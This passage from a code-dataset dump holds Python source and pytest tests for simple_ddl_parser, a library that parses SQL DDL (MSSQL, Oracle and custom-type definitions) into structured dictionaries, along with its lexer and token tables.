[dbo].[SLIPEVENTO] (\n [cdSLIP] [bigint] NOT NULL\n DEFAULT NEXT VALUE FOR [dbo].[sqCdSLIPEvt] )\"\"\"\n result = DDLParser(ddl).run(group_by_type=True)\n expected = {\n \"ddl_properties\": [],\n \"domains\": [],\n \"schemas\": [],\n \"sequences\": [],\n \"tables\": [\n {\n \"alter\": {},\n \"checks\": [],\n \"columns\": [\n {\n \"check\": None,\n \"default\": {\"next_value_for\": \"[dbo].[sqCdSLIPEvt]\"},\n \"name\": \"[cdSLIP]\",\n \"nullable\": False,\n \"references\": None,\n \"size\": None,\n \"type\": \"[bigint]\",\n \"unique\": False,\n }\n ],\n \"index\": [],\n \"partitioned_by\": [],\n \"primary_key\": [],\n \"schema\": \"[dbo]\",\n \"table_name\": \"[SLIPEVENTO]\",\n \"tablespace\": None,\n }\n ],\n \"types\": [],\n }\n assert expected == result\n\n\ndef test_primary_key_clustered():\n ddl = \"\"\"\n USE [sasgolddevdb]\n GO\n /****** Object: Table [aud].[tcal_tgt] Script Date: 11/11/2021 11:18:41 AM ******/\n SET ANSI_NULLS ON\n GO\n SET QUOTED_IDENTIFIER ON\n GO\n CREATE TABLE [aud].[tcal_tgt](\n [TCAL_SID] [decimal](30, 0) NOT NULL,\n [TERM_YR] [varchar](4) NULL,\n [REC_DELETED_BY] [varchar](25) NULL,\n [SYSTEM_OPERATION] [varchar](1) NULL,\n PRIMARY KEY CLUSTERED\n (\n [TCAL_SID] ASC, [TERM_YR] DESC\n ) WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF,\n IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON, FILLFACTOR = 80) ON [PRIMARY]\n ) ON [PRIMARY]\n GO\"\"\"\n result = DDLParser(ddl).run(group_by_type=True)\n expected = {\n \"comments\": [\n \"***** Object: Table [aud].[tcal_tgt] Script Date: \"\n \"11/11/2021 11:18:41 AM ******/\"\n ],\n \"ddl_properties\": [\n {\"name\": \"ANSI_NULLS\", \"value\": \"ON\"},\n {\"name\": \"QUOTED_IDENTIFIER\", \"value\": \"ON\"},\n ],\n \"domains\": [],\n \"schemas\": [],\n \"sequences\": [],\n \"tables\": [\n {\n \"alter\": {},\n \"checks\": [],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[TCAL_SID]\",\n \"nullable\": False,\n \"references\": None,\n \"size\": (30, 0),\n \"type\": \"[decimal]\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[TERM_YR]\",\n \"nullable\": False,\n \"references\": None,\n \"size\": 4,\n \"type\": \"[varchar]\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[REC_DELETED_BY]\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 25,\n \"type\": \"[varchar]\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"[SYSTEM_OPERATION]\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 1,\n \"type\": \"[varchar]\",\n \"unique\": False,\n },\n ],\n \"index\": [],\n \"on\": \"[PRIMARY]\",\n \"partitioned_by\": [],\n \"primary_key\": [\"[TCAL_SID]\", \"[TERM_YR]\"],\n \"schema\": \"[aud]\",\n \"table_name\": \"[tcal_tgt]\",\n \"tablespace\": None,\n \"clustered_primary_key\": [\n {\"column\": \"[TCAL_SID]\", \"order\": \"ASC\"},\n {\"column\": \"[TERM_YR]\", \"order\": \"DESC\"},\n ],\n \"with\": {\n \"on\": None,\n \"properties\": [\n {\"name\": \"PAD_INDEX\", \"value\": \"OFF\"},\n {\"name\": \"STATISTICS_NORECOMPUTE\", \"value\": \"OFF\"},\n {\"name\": \"IGNORE_DUP_KEY\", \"value\": \"OFF\"},\n {\"name\": \"ALLOW_ROW_LOCKS\", \"value\": \"ON\"},\n {\"name\": \"ALLOW_PAGE_LOCKS\", \"value\": \"ON\"},\n {\"name\": \"FILLFACTOR\", \"value\": \"80\"},\n ],\n },\n }\n ],\n \"types\": [],\n }\n assert expected == result\n", "id": "12474057", "language": "Python", "matching_score": 4.69072151184082, "max_stars_count": 46, "path": "tests/test_mssql_specific.py" }, { "content": "import pytest\n\nfrom simple_ddl_parser import DDLParser, DDLParserError\n\n\ndef test_no_unexpected_logs(capsys):\n\n ddl = \"\"\"\n CREATE EXTERNAL TABLE test (\n test STRING NULL COMMENT 'xxxx',\n )\n PARTITIONED BY (snapshot STRING, cluster STRING)\n \"\"\"\n\n parser = DDLParser(ddl)\n out, err = capsys.readouterr()\n assert out == \"\"\n assert err == \"\"\n parser.run(output_mode=\"hql\", group_by_type=True)\n out, err = capsys.readouterr()\n assert out == \"\"\n assert err == \"\"\n\n\ndef test_silent_false_flag():\n ddl = \"\"\"\nCREATE TABLE foo\n (\n created_timestamp TIMESTAMPTZ NOT NULL DEFAULT ALTER (now() at time zone 'utc')\n );\n\"\"\"\n with pytest.raises(DDLParserError) as e:\n DDLParser(ddl, silent=False).run(group_by_type=True)\n\n assert \"Unknown statement\" in e.value[1]\n\n\ndef test_flag_normalize_names():\n\n ddl = ddl = \"\"\"/****** Object: Table [dbo].[TO_Requests] Script Date: 9/29/2021 9:55:26 PM ******/\n SET ANSI_NULLS ON\n GO\n SET QUOTED_IDENTIFIER ON\n GO\n CREATE TABLE [dbo].[TO_Requests](\n [Request_ID] [int] IDENTITY(1,1) NOT NULL,\n [user_id] [int] NULL,\n [date_from] [smalldatetime] NULL,)\"\"\"\n result = DDLParser(ddl, silent=False, normalize_names=True).run(group_by_type=True)\n expected = {\n \"comments\": [\n \"***** Object: Table [dbo].[TO_Requests] Script Date: \"\n \"9/29/2021 9:55:26 PM ******/\"\n ],\n \"ddl_properties\": [\n {\"name\": \"ANSI_NULLS\", \"value\": \"ON\"},\n {\"name\": \"QUOTED_IDENTIFIER\", \"value\": \"ON\"},\n ],\n \"domains\": [],\n \"schemas\": [],\n \"sequences\": [],\n \"tables\": [\n {\n \"alter\": {},\n \"checks\": [],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"Request_ID\",\n \"nullable\": False,\n \"references\": None,\n \"size\": (1, 1),\n \"type\": \"int IDENTITY\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"user_id\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"int\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"date_from\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"smalldatetime\",\n \"unique\": False,\n },\n ],\n \"index\": [],\n \"partitioned_by\": [],\n \"primary_key\": [],\n \"schema\": \"dbo\",\n \"table_name\": \"TO_Requests\",\n \"tablespace\": None,\n }\n ],\n \"types\": [],\n }\n assert expected == result\n\n\ndef test_flag_normalize_names_mixed_usage():\n\n ddl = ddl = \"\"\"\n CREATE TABLE [dbo].T1(ID int NOT NULL PRIMARY KEY)\n CREATE TABLE dbo.[T2](T2_TO_T1_ID int FOREIGN KEY REFERENCES dbo.[T1](ID))\n CREATE TABLE dbo.T3(T3_TO_T1_ID int FOREIGN KEY REFERENCES [dbo].[T1](ID))\n \"\"\"\n\n result = DDLParser(ddl, silent=False, normalize_names=True).run(group_by_type=True)\n expected = {\n 'tables': [\n {\n 'columns': [\n {\n 'name': 'ID',\n 'type': 'int',\n 'size': None,\n 'references': None,\n 'unique': False,\n 'nullable': False,\n 'default': None,\n 'check': None\n }\n ],\n 'primary_key': ['ID'],\n 'alter': {},\n 'checks': [],\n 'index': [],\n 'partitioned_by': [],\n 'tablespace': None,\n 'schema': 'dbo',\n 'table_name': 'T1'\n },\n {\n 'columns': [\n {\n 'name': 'T2_TO_T1_ID',\n 'type': 'int',\n 'size': None,\n 'references':\n {\n 'table': 'T1',\n 'schema': 'dbo',\n 'on_delete': None,\n 'on_update': None,\n 'deferrable_initially': None,\n 'column': 'ID'\n },\n 'unique': False,\n 'nullable': True,\n 'default': None,\n 'check': None\n }\n ],\n 'primary_key': [],\n 'alter': {},\n 'checks': [],\n 'index': [],\n 'partitioned_by': [],\n 'tablespace': None,\n 'schema': 'dbo',\n 'table_name': 'T2'\n },\n\n {\n 'columns': [\n {\n 'name': 'T3_TO_T1_ID',\n 'type': 'int',\n 'size': None,\n 'references':\n {\n 'table': 'T1',\n 'schema': 'dbo',\n 'on_delete': None,\n 'on_update': None,\n 'deferrable_initially': None,\n 'column': 'ID'\n },\n 'unique': False,\n 'nullable': True,\n 'default': None,\n 'check': None\n }\n ],\n 'primary_key': [],\n 'alter': {},\n 'checks': [],\n 'index': [],\n 'partitioned_by': [],\n 'tablespace': None,\n 'schema': 'dbo',\n 'table_name': 'T3'\n },\n\n ],\n 'types': [],\n 'sequences': [],\n 'domains': [],\n 'schemas': [],\n 'ddl_properties': []\n }\n assert expected == result\n", "id": "271047", "language": "Python", "matching_score": 2.1694061756134033, "max_stars_count": 0, "path": "tests/non_statement_tests/test_common.py" }, { "content": "from simple_ddl_parser.ddl_parser import (DDLParser, DDLParserError,\n parse_from_file)\n\n__all__ = [\"DDLParser\", \"parse_from_file\", \"DDLParserError\"]\n", "id": "10699408", "language": "Python", "matching_score": 0.7198060750961304, "max_stars_count": 0, "path": "simple_ddl_parser/__init__.py" }, { "content": "from typing import Dict, List\n\nfrom simple_ddl_parser import tokens as tok\nfrom simple_ddl_parser.dialects.bigquery import BigQuery\nfrom simple_ddl_parser.dialects.hql import HQL\nfrom simple_ddl_parser.dialects.mssql import MSSQL\nfrom simple_ddl_parser.dialects.mysql import MySQL\nfrom simple_ddl_parser.dialects.oracle import Oracle\nfrom simple_ddl_parser.dialects.redshift import Redshift\nfrom simple_ddl_parser.dialects.snowflake import Snowflake\nfrom simple_ddl_parser.dialects.sql import BaseSQL\nfrom simple_ddl_parser.parser import Parser\n\n\nclass DDLParserError(Exception):\n pass\n\n\nclass DDLParser(\n Parser, Snowflake, BaseSQL, HQL, MySQL, MSSQL, Oracle, Redshift, BigQuery\n):\n\n tokens = tok.tokens\n t_ignore = \"\\t \\r\"\n\n def get_tag_symbol_value_and_increment(self, t):\n # todo: need to find less hacky way to parse HQL structure types\n if \"<\" in t.value:\n t.type = \"LT\"\n self.lexer.lt_open += t.value.count(\"<\")\n if \">\" in t.value and not self.lexer.check:\n t.type = \"RT\"\n self.lexer.lt_open -= t.value.count(\">\")\n return t\n\n def after_columns_tokens(self, t):\n t.type = tok.after_columns_tokens.get(t.value.upper(), t.type)\n if t.type != \"ID\":\n self.lexer.after_columns = True\n elif self.lexer.columns_def:\n t.type = tok.columns_defenition.get(t.value.upper(), t.type)\n return t\n\n def process_body_tokens(self, t):\n if (\n self.lexer.last_par == \"RP\" and not self.lexer.lp_open\n ) or self.lexer.after_columns:\n t = self.after_columns_tokens(t)\n elif self.lexer.columns_def:\n t.type = tok.columns_defenition.get(t.value.upper(), t.type)\n elif self.lexer.sequence:\n t.type = tok.sequence_reserved.get(t.value.upper(), \"ID\")\n return t\n\n def tokens_not_columns_names(self, t):\n if not self.lexer.check:\n for key in tok.symbol_tokens_no_check:\n if key in t.value:\n return self.get_tag_symbol_value_and_increment(t)\n if \"ARRAY\" in t.value:\n t.type = \"ARRAY\"\n return t\n elif not self.lexer.is_table:\n # if is_table mean wi already met INDEX or TABLE statement and\n # the definition already done and this is a string\n t.type = tok.defenition_statements.get(\n t.value.upper(), t.type\n ) # Check for reserved word\n elif self.lexer.last_token != \"COMMA\":\n t.type = tok.common_statements.get(t.value.upper(), t.type)\n else:\n t.type = tok.first_liners.get(t.value.upper(), t.type)\n\n # get tokens from other token dicts\n t = self.process_body_tokens(t)\n\n self.set_lexer_tags(t)\n\n return t\n\n def set_lexer_tags(self, t):\n if t.type == \"SEQUENCE\":\n self.lexer.sequence = True\n elif t.type == \"CHECK\":\n self.lexer.check = True\n\n def t_DOT(self, t):\n r\"\\.\"\n t.type = \"DOT\"\n return self.set_last_token(t)\n\n def t_STRING(self, t):\n r\"((\\')([a-zA-Z_,`0-9:><\\=\\-\\+.\\~\\%$\\!() {}\\[\\]\\/\\\\\\\"\\#\\*&^|?;±§@~]*)(\\')){1}\"\n t.type = \"STRING\"\n return self.set_last_token(t)\n\n def t_DQ_STRING(self, t):\n r\"((\\\")([a-zA-Z_,`0-9:><\\=\\-\\+.\\~\\%$\\!() {}'\\[\\]\\/\\\\\\\\#\\*&^|?;±§@~]*)(\\\")){1}\"\n t.type = \"DQ_STRING\"\n return self.set_last_token(t)\n\n def is_token_column_name(self, t):\n \"\"\"many of reserved words can be used as column name,\n to decide is it a column name or not we need do some checks\"\"\"\n skip_id_tokens = [\"(\", \")\", \",\"]\n return (\n t.value not in skip_id_tokens\n and self.lexer.is_table\n and self.lexer.lp_open\n and (self.lexer.last_token == \"COMMA\" or self.lexer.last_token == \"LP\")\n and t.value.upper() not in tok.first_liners\n )\n\n def is_creation_name(self, t):\n \"\"\"many of reserved words can be used as column name,\n to decide is it a column name or not we need do some checks\"\"\"\n skip_id_tokens = [\"(\", \")\", \",\"]\n return (\n t.value not in skip_id_tokens\n and t.value.upper() not in [\"IF\"]\n and self.lexer.last_token\n in [\n \"SCHEMA\",\n \"TABLE\",\n \"DATABASE\",\n \"TYPE\",\n \"DOMAIN\",\n \"TABLESPACE\",\n \"INDEX\",\n \"CONSTRAINT\",\n \"EXISTS\",\n ]\n )\n\n def t_ID(self, t):\n r\"([0-9]\\.[0-9])\\w|([a-zA-Z_,0-9:><\\/\\=\\-\\+\\~\\%$\\*\\()!{}\\[\\]\\`\\[\\]]+)\"\n t.type = tok.symbol_tokens.get(t.value, \"ID\")\n\n if t.type == \"LP\":\n self.lexer.lp_open += 1\n self.lexer.columns_def = True\n self.lexer.last_token = \"LP\"\n return t\n\n elif self.is_token_column_name(t) or self.lexer.last_token == \"DOT\":\n t.type = \"ID\"\n elif t.type != \"DQ_STRING\" and self.is_creation_name(t):\n t.type = \"ID\"\n else:\n t = self.tokens_not_columns_names(t)\n\n self.capitalize_tokens(t)\n self.commat_type(t)\n\n self.set_lexx_tags(t)\n\n return self.set_last_token(t)\n\n def commat_type(self, t):\n if t.type == \"COMMA\" and self.lexer.lt_open:\n t.type = \"COMMAT\"\n\n def capitalize_tokens(self, t):\n if t.type != \"ID\" and t.type not in [\"LT\", \"RT\"]:\n t.value = t.value.upper()\n\n def set_lexx_tags(self, t):\n if t.type in [\"RP\", \"LP\"]:\n if t.type == \"RP\" and self.lexer.lp_open:\n self.lexer.lp_open -= 1\n self.lexer.last_par = t.type\n elif t.type in [\"TYPE\", \"DOMAIN\", \"TABLESPACE\"]:\n self.lexer.is_table = False\n elif t.type in [\"TABLE\", \"INDEX\"]:\n self.lexer.is_table = True\n\n def set_last_token(self, t):\n self.lexer.last_token = t.type\n return t\n\n def p_id(self, p):\n \"\"\"id : ID\n | DQ_STRING\"\"\"\n delimeters_to_start = [\"`\", '\"', \"[\"]\n delimeters_to_end = [\"`\", '\"', \"]\"]\n p[0] = p[1]\n\n if self.normalize_names:\n for num, symbol in enumerate(delimeters_to_start):\n if p[0].startswith(symbol) and p[0].endswith(delimeters_to_end[num]):\n p[0] = p[0][1:-1]\n\n def t_error(self, t):\n raise DDLParserError(\"Unknown symbol %r\" % (t.value[0],))\n\n def p_error(self, p):\n if not self.silent:\n raise DDLParserError(f\"Unknown statement at {p}\")\n\n\ndef parse_from_file(file_path: str, **kwargs) -> List[Dict]:\n \"\"\"get useful data from ddl\"\"\"\n with open(file_path, \"r\") as df:\n return DDLParser(df.read()).run(file_path=file_path, **kwargs)\n", "id": "931142", "language": "Python", "matching_score": 4.787759780883789, "max_stars_count": 0, "path": "simple_ddl_parser/ddl_parser.py" }, { "content": "# statements that used at the start of defenition or in statements without columns\ndefenition_statements = {\n \"DROP\": \"DROP\",\n \"CREATE\": \"CREATE\",\n \"TABLE\": \"TABLE\",\n \"DATABASE\": \"DATABASE\",\n \"SCHEMA\": \"SCHEMA\",\n \"ALTER\": \"ALTER\",\n \"TYPE\": \"TYPE\",\n \"DOMAIN\": \"DOMAIN\",\n \"REPLACE\": \"REPLACE\",\n \"OR\": \"OR\",\n \"CLUSTERED\": \"CLUSTERED\",\n \"SEQUENCE\": \"SEQUENCE\",\n \"TABLESPACE\": \"TABLESPACE\",\n}\ncommon_statements = {\n \"INDEX\": \"INDEX\",\n \"REFERENCES\": \"REFERENCES\",\n \"KEY\": \"KEY\",\n \"ADD\": \"ADD\",\n \"AS\": \"AS\",\n \"CLONE\": \"CLONE\",\n \"DEFERRABLE\": \"DEFERRABLE\",\n \"INITIALLY\": \"INITIALLY\",\n \"IF\": \"IF\",\n \"NOT\": \"NOT\",\n \"EXISTS\": \"EXISTS\",\n \"ON\": \"ON\",\n \"FOR\": \"FOR\",\n \"ENCRYPT\": \"ENCRYPT\",\n \"SALT\": \"SALT\",\n \"NO\": \"NO\",\n \"USING\": \"USING\",\n # bigquery\n \"OPTIONS\": \"OPTIONS\",\n}\n\ncolumns_defenition = {\n \"DELETE\": \"DELETE\",\n \"UPDATE\": \"UPDATE\",\n \"NULL\": \"NULL\",\n \"ARRAY\": \"ARRAY\",\n \",\": \"COMMA\",\n \"DEFAULT\": \"DEFAULT\",\n \"COLLATE\": \"COLLATE\",\n \"ENFORCED\": \"ENFORCED\",\n \"ENCODE\": \"ENCODE\",\n \"GENERATED\": \"GENERATED\",\n \"COMMENT\": \"COMMENT\",\n}\nfirst_liners = {\n \"LIKE\": \"LIKE\",\n \"CONSTRAINT\": \"CONSTRAINT\",\n \"FOREIGN\": \"FOREIGN\",\n \"PRIMARY\": \"PRIMARY\",\n \"UNIQUE\": \"UNIQUE\",\n \"CHECK\": \"CHECK\",\n \"WITH\": \"WITH\",\n}\n\ncommon_statements.update(first_liners)\ndefenition_statements.update(common_statements)\nafter_columns_tokens = {\n \"PARTITIONED\": \"PARTITIONED\",\n \"PARTITION\": \"PARTITION\",\n \"BY\": \"BY\",\n # hql\n \"INTO\": \"INTO\",\n \"STORED\": \"STORED\",\n \"LOCATION\": \"LOCATION\",\n \"ROW\": \"ROW\",\n \"FORMAT\": \"FORMAT\",\n \"TERMINATED\": \"TERMINATED\",\n \"COLLECTION\": \"COLLECTION\",\n \"ITEMS\": \"ITEMS\",\n \"MAP\": \"MAP\",\n \"KEYS\": \"KEYS\",\n \"SERDE\": \"SERDE\",\n \"CLUSTER\": \"CLUSTER\",\n \"SERDEPROPERTIES\": \"SERDEPROPERTIES\",\n \"TBLPROPERTIES\": \"TBLPROPERTIES\",\n \"SKEWED\": \"SKEWED\",\n # oracle\n \"STORAGE\": \"STORAGE\",\n \"TABLESPACE\": \"TABLESPACE\",\n # mssql\n \"TEXTIMAGE_ON\": \"TEXTIMAGE_ON\",\n}\nsequence_reserved = {\n \"INCREMENT\": \"INCREMENT\",\n \"START\": \"START\",\n \"MINVALUE\": \"MINVALUE\",\n \"MAXVALUE\": \"MAXVALUE\",\n \"CACHE\": \"CACHE\",\n \"NO\": \"NO\",\n}\n\n\ntokens = tuple(\n set(\n [\"ID\", \"DOT\", \"STRING\", \"DQ_STRING\", \"LP\", \"RP\", \"LT\", \"RT\", \"COMMAT\"]\n + list(defenition_statements.values())\n + list(common_statements.values())\n + list(columns_defenition.values())\n + list(sequence_reserved.values())\n + list(after_columns_tokens.values())\n )\n)\n\nsymbol_tokens = {\n \")\": \"RP\",\n \"(\": \"LP\",\n}\n\nsymbol_tokens_no_check = {\"<\": \"LT\", \">\": \"RT\"}\n", "id": "11524", "language": "Python", "matching_score": 1.0251386165618896, "max_stars_count": 46, "path": "simple_ddl_parser/tokens.py" }, { "content": "from simple_ddl_parser import DDLParser\n\n\ndef test_custom_enum():\n\n ddl = \"\"\"\n CREATE TYPE \"schema--notification\".\"ContentType\" AS\n ENUM ('TEXT','MARKDOWN','HTML');\n CREATE TABLE \"schema--notification\".\"notification\" (\n content_type \"schema--notification\".\"ContentType\"\n );\n \"\"\"\n\n result = DDLParser(ddl).run()\n expected = [\n {\n \"base_type\": \"ENUM\",\n \"properties\": {\"values\": [\"'TEXT'\", \"'MARKDOWN'\", \"'HTML'\"]},\n \"schema\": '\"schema--notification\"',\n \"type_name\": '\"ContentType\"',\n },\n {\n \"alter\": {},\n \"checks\": [],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"content_type\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": '\"schema--notification\".\"ContentType\"',\n \"unique\": False,\n }\n ],\n \"index\": [],\n \"partitioned_by\": [],\n \"primary_key\": [],\n \"schema\": '\"schema--notification\"',\n \"table_name\": '\"notification\"',\n \"tablespace\": None,\n },\n ]\n assert expected == result\n\n\ndef test_custom_enum_wihtout_schema():\n\n ddl = \"\"\"\n CREATE TYPE \"ContentType\" AS\n ENUM ('TEXT','MARKDOWN','HTML');\n CREATE TABLE \"schema--notification\".\"notification\" (\n content_type \"ContentType\"\n );\n \"\"\"\n\n result = DDLParser(ddl).run()\n expected = [\n {\n \"base_type\": \"ENUM\",\n \"properties\": {\"values\": [\"'TEXT'\", \"'MARKDOWN'\", \"'HTML'\"]},\n \"schema\": None,\n \"type_name\": '\"ContentType\"',\n },\n {\n \"alter\": {},\n \"checks\": [],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"content_type\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": '\"ContentType\"',\n \"unique\": False,\n }\n ],\n \"index\": [],\n \"partitioned_by\": [],\n \"primary_key\": [],\n \"schema\": '\"schema--notification\"',\n \"table_name\": '\"notification\"',\n \"tablespace\": None,\n },\n ]\n assert expected == result\n\n\ndef test_create_type_as_object():\n\n ddl = \"\"\"\n CREATE OR REPLACE TYPE addr_obj_typ AS OBJECT (\n street VARCHAR2(30),\n city VARCHAR2(20),\n state CHAR(2),\n zip NUMBER(5)\n );\n \"\"\"\n\n result = DDLParser(ddl).run(group_by_type=True)\n expected = {\n \"sequences\": [],\n \"ddl_properties\": [],\n \"domains\": [],\n \"schemas\": [],\n \"tables\": [],\n \"types\": [\n {\n \"base_type\": \"OBJECT\",\n \"properties\": {\n \"attributes\": [\n {\"name\": \"street\", \"size\": 30, \"type\": \"VARCHAR2\"},\n {\"name\": \"city\", \"size\": 20, \"type\": \"VARCHAR2\"},\n {\"name\": \"state\", \"size\": 2, \"type\": \"CHAR\"},\n {\"name\": \"zip\", \"size\": 5, \"type\": \"NUMBER\"},\n ]\n },\n \"schema\": None,\n \"type_name\": \"addr_obj_typ\",\n }\n ],\n }\n assert expected == result\n\n\ndef test_create_type_with_input_properties():\n ddl = \"\"\"\n CREATE TYPE box (\n INTERNALLENGTH = 16,\n INPUT = my_box_in_function,\n OUTPUT = my_box_out_function\n );\n \"\"\"\n\n result = DDLParser(ddl).run(group_by_type=True)\n\n expected = {\n \"sequences\": [],\n \"ddl_properties\": [],\n \"domains\": [],\n \"schemas\": [],\n \"tables\": [],\n \"types\": [\n {\n \"base_type\": None,\n \"properties\": {\n \"INPUT\": \"my_box_in_function\",\n \"INTERNALLENGTH\": \"16\",\n \"OUTPUT\": \"my_box_out_function\",\n },\n \"schema\": None,\n \"type_name\": \"box\",\n }\n ],\n }\n\n assert expected == result\n\n\ndef test_as_table():\n ddl = \"\"\"\n CREATE TYPE dbo.T_LCT_SLIPS AS TABLE (\n hashKY varbinary(48),\n numContratoGF bigint\n );\n \"\"\"\n result = DDLParser(ddl).run(group_by_type=True)\n expected = {\n \"ddl_properties\": [],\n \"domains\": [],\n \"schemas\": [],\n \"sequences\": [],\n \"tables\": [],\n \"types\": [\n {\n \"base_type\": None,\n \"properties\": {\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"hashKY\",\n \"nullable\": True,\n \"primary_key\": False,\n \"references\": None,\n \"size\": 48,\n \"type\": \"varbinary\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"numContratoGF\",\n \"nullable\": True,\n \"primary_key\": False,\n \"references\": None,\n \"size\": None,\n \"type\": \"bigint\",\n \"unique\": False,\n },\n ]\n },\n \"schema\": \"dbo\",\n \"type_name\": \"T_LCT_SLIPS\",\n }\n ],\n }\n assert result == expected\n", "id": "12031273", "language": "Python", "matching_score": 2.7776753902435303, "max_stars_count": 46, "path": "tests/test_custom_types_and_domains.py" }, { "content": "from simple_ddl_parser import DDLParser\n\n\ndef test_encrypt():\n\n ddl = \"\"\"\n\nCREATE TABLE employee (\n first_name VARCHAR2(128),\n last_name VARCHAR2(128),\n salary_1 NUMBER(6) ENCRYPT,\n empID NUMBER ENCRYPT NO SALT,\n salary NUMBER(6) ENCRYPT USING '3DES168');\n\nCREATE TABLE employee_2 (\n first_name VARCHAR2(128),\n last_name VARCHAR2(128),\n empID NUMBER ENCRYPT 'NOMAC' ,\n salary NUMBER(6));\n\n\"\"\"\n result = DDLParser(ddl).run(group_by_type=True)\n expected = {\n \"sequences\": [],\n \"domains\": [],\n \"schemas\": [],\n \"tables\": [\n {\n \"alter\": {},\n \"checks\": [],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"first_name\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 128,\n \"type\": \"VARCHAR2\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"last_name\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 128,\n \"type\": \"VARCHAR2\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"encrypt\": {\n \"encryption_algorithm\": \"'AES192'\",\n \"integrity_algorithm\": \"SHA-1\",\n \"salt\": True,\n },\n \"name\": \"salary_1\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 6,\n \"type\": \"NUMBER\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"encrypt\": {\n \"encryption_algorithm\": \"'AES192'\",\n \"integrity_algorithm\": \"SHA-1\",\n \"salt\": False,\n },\n \"name\": \"empID\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"NUMBER\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"encrypt\": {\n \"encryption_algorithm\": \"'3DES168'\",\n \"integrity_algorithm\": \"SHA-1\",\n \"salt\": True,\n },\n \"name\": \"salary\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 6,\n \"type\": \"NUMBER\",\n \"unique\": False,\n },\n ],\n \"index\": [],\n \"partitioned_by\": [],\n \"primary_key\": [],\n \"schema\": None,\n \"table_name\": \"employee\",\n \"tablespace\": None,\n },\n {\n \"alter\": {},\n \"checks\": [],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"first_name\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 128,\n \"type\": \"VARCHAR2\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"last_name\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 128,\n \"type\": \"VARCHAR2\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"encrypt\": {\n \"encryption_algorithm\": \"'AES192'\",\n \"integrity_algorithm\": \"'NOMAC'\",\n \"salt\": True,\n },\n \"name\": \"empID\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"NUMBER\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"name\": \"salary\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 6,\n \"type\": \"NUMBER\",\n \"unique\": False,\n },\n ],\n \"index\": [],\n \"partitioned_by\": [],\n \"primary_key\": [],\n \"schema\": None,\n \"table_name\": \"employee_2\",\n \"tablespace\": None,\n },\n ],\n \"types\": [],\n \"ddl_properties\": [],\n }\n assert expected == result\n\n\ndef test_oracle_output_mode():\n ddl = \"\"\"\n\n CREATE TABLE employee (\n first_name VARCHAR2(128),\n last_name VARCHAR2(128),\n salary_1 NUMBER(6) ENCRYPT,\n empID NUMBER ENCRYPT NO SALT,\n salary NUMBER(6) ENCRYPT USING '3DES168');\n\n CREATE TABLE employee_2 (\n first_name VARCHAR2(128),\n last_name VARCHAR2(128),\n empID NUMBER ENCRYPT 'NOMAC' ,\n salary NUMBER(6));\n\n \"\"\"\n\n result = DDLParser(ddl).run(group_by_type=True, output_mode=\"oracle\")\n expected = {\n \"sequences\": [],\n \"domains\": [],\n \"schemas\": [],\n \"tables\": [\n {\n \"alter\": {},\n \"checks\": [],\n \"columns\": [\n {\n \"check\": None,\n \"default\": None,\n \"encrypt\": None,\n \"name\": \"first_name\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 128,\n \"type\": \"VARCHAR2\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"encrypt\": None,\n \"name\": \"last_name\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 128,\n \"type\": \"VARCHAR2\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"encrypt\": None,\n \"name\": \"salary_1\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 6,\n \"type\": \"NUMBER\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"encrypt\": None,\n \"name\": \"empID\",\n \"nullable\": True,\n \"references\": None,\n \"size\": None,\n \"type\": \"NUMBER\",\n \"unique\": False,\n },\n {\n \"check\": None,\n \"default\": None,\n \"encrypt\": None,\n \"name\": \"salary\",\n \"nullable\": True,\n \"references\": None,\n \"size\": 6,\n \"type\": \"NUMBER\",\n \"unique\": False,\n },\n ],\n \"constraints\": {\"checks\": None, \"references\": None, \"uniques\": None},\n \"index\": [],\n \"partitioned_by\": [],\n 